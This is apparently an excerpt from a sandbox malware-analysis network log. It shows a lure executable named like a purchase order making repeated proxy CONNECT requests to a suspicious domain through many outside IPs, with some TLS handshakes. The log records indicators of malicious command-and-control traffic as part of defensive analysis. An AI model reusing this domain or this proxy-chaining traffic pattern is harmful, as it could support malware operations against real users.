Mar 11, 2024 16:39:46.129633904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
518	192.168.2.10	51540	47.242.234.237	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.134841919 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
519	192.168.2.10	51635	203.32.120.202	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.135765076 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.290157080 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
520	192.168.2.10	51646	104.24.236.203	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.142879963 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.297401905 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
521	192.168.2.10	51520	65.1.40.47	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.148906946 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.547020912 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:46 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
522	192.168.2.10	51641	104.238.111.107	26305	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.151395082 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.707680941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.302012920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.411070108 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.598614931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
523	192.168.2.10	51534	202.40.181.220	31247	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.160846949 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
524	192.168.2.10	50271	12.176.231.147	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.164108992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.176516056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.286349058 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.286019087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:10.286055088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:22.285645962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:34.285631895 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:58.285617113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:46.410537958 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
525	192.168.2.10	51670	104.18.103.125	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.239089966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.393723965 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
526	192.168.2.10	51667	104.16.106.154	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.239193916 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.393902063 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
527	192.168.2.10	51668	201.77.108.196	999	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.244004965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.355493069 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
528	192.168.2.10	51176	162.241.207.217	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.244462967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.410761118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.504848957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.519232988 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:10.567636013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:22.640073061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:34.707560062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:58.707680941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:46.769923925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
529	192.168.2.10	51701	159.65.77.168	8585	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.244663954 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
530	192.168.2.10	51561	14.103.24.20	8000	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.244760036 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
531	192.168.2.10	51616	72.195.34.41	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.245682001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
532	192.168.2.10	51621	72.210.221.223	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.246021986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
533	192.168.2.10	51705	34.83.143.6	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.246083975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.894265890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.614187002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.812436104 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.257464886 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
534	192.168.2.10	51628	54.248.238.110	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.246143103 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.894368887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.754429102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.024791956 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:47 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 16:39:48.035423994 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 ef 25 c2 02 eb 6b 03 0f 7d 11 fa a5 93 83 71 7a d5 29 75 23 b8 c0 9b 7c 76 1e 10 12 fa 27 df 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e%k}qz)u#\|v'*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Mar 11, 2024 16:39:48.303378105 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 12 b2 1c cb 61 fd 54 ec 02 25 e2 2a aa 31 74 68 ba b5 99 e9 b6 5d 3d 69 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9aT%1th]=iDOWNGRD0000H03110/U(heygirlisheeverythingyouwantedinaman.com0240311151440Z260311151440Z03110/U(heygirlisheeverythingyouwantedinaman.c
Mar 11, 2024 16:39:48.605304003 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 5d 30 59 50 41 6b 0c 3f 1b 36 9d 47 2f cf 7b 11 db 7e 2a 9e 79 85 a0 0f 81 8b 6a cd fd 0f 51 08 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 12 d5 1a 70 58 76 ec 2f 50 f8 30 ff 51 5c 77 35 3a e9 34 80 ad Data Ascii: %! ]0YPAk?6G/{~*yjQ(pXv/P0Q\w5:4F0w
Mar 11, 2024 16:39:48.870240927 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 fc 5e 4f 1c b3 96 8a ee 37 cd 38 f0 6c fa 4c 54 8a ec 74 ee 8b 6a c7 31 96 e9 b0 11 a9 28 6d 2f 2b 55 a4 16 46 b9 4f 5b Data Ascii: (^O78lLTtj1(m/+UFO[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
535	192.168.2.10	51695	44.226.167.102	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.246143103 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.436877012 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:46 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 16:39:46.437237978 CET	394	OUT	Data Raw: 16 03 03 01 85 01 00 01 81 03 03 65 ef 25 c1 b2 94 96 15 2d 1e 2a a2 d3 15 38 9b a0 b9 c3 49 c7 7a f5 84 bd 28 a5 67 cd c3 1b ba 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e%-8Iz(g,+0/$#('=<5/.-+(heygirlisheeverythingyouwantedinaman.com#_(L_q9nzwSZ{'8*Rx
Mar 11, 2024 16:39:46.628261089 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 c2 b3 2d 7c 47 18 fe fa 5b 34 98 17 f9 75 00 66 42 cd 9a 43 19 10 34 61 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9-\|G[4ufBC4aDOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240311151917Z260311151917Z03110/U(heygirlisheeverythingyouwantedinaman.c
Mar 11, 2024 16:39:46.638237953 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 f6 27 29 c8 f8 0e 93 3d 52 0f b7 9d 63 0e c8 38 03 6a 52 60 5b 9b 74 8f 6b 38 5e 2b 47 0e e6 50 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 e1 27 e2 3c d9 a4 60 7e 5b d2 31 a3 4e 16 c9 53 7e 98 be f8 81 Data Ascii: %! ')=Rc8jR`[tk8^+GP('<`~[1NS~xlm[0
Mar 11, 2024 16:39:46.827605963 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 60 6e b4 02 82 06 85 8a 3b 4d e6 b0 af c9 c3 9b f0 bd 5e b5 8a 15 82 46 ff e1 0f 7c 7f c0 e4 79 3e 5a f0 f7 08 db 8f c5 Data Ascii: (`n;M^F\|y>Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
536	192.168.2.10	51715	172.64.86.217	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

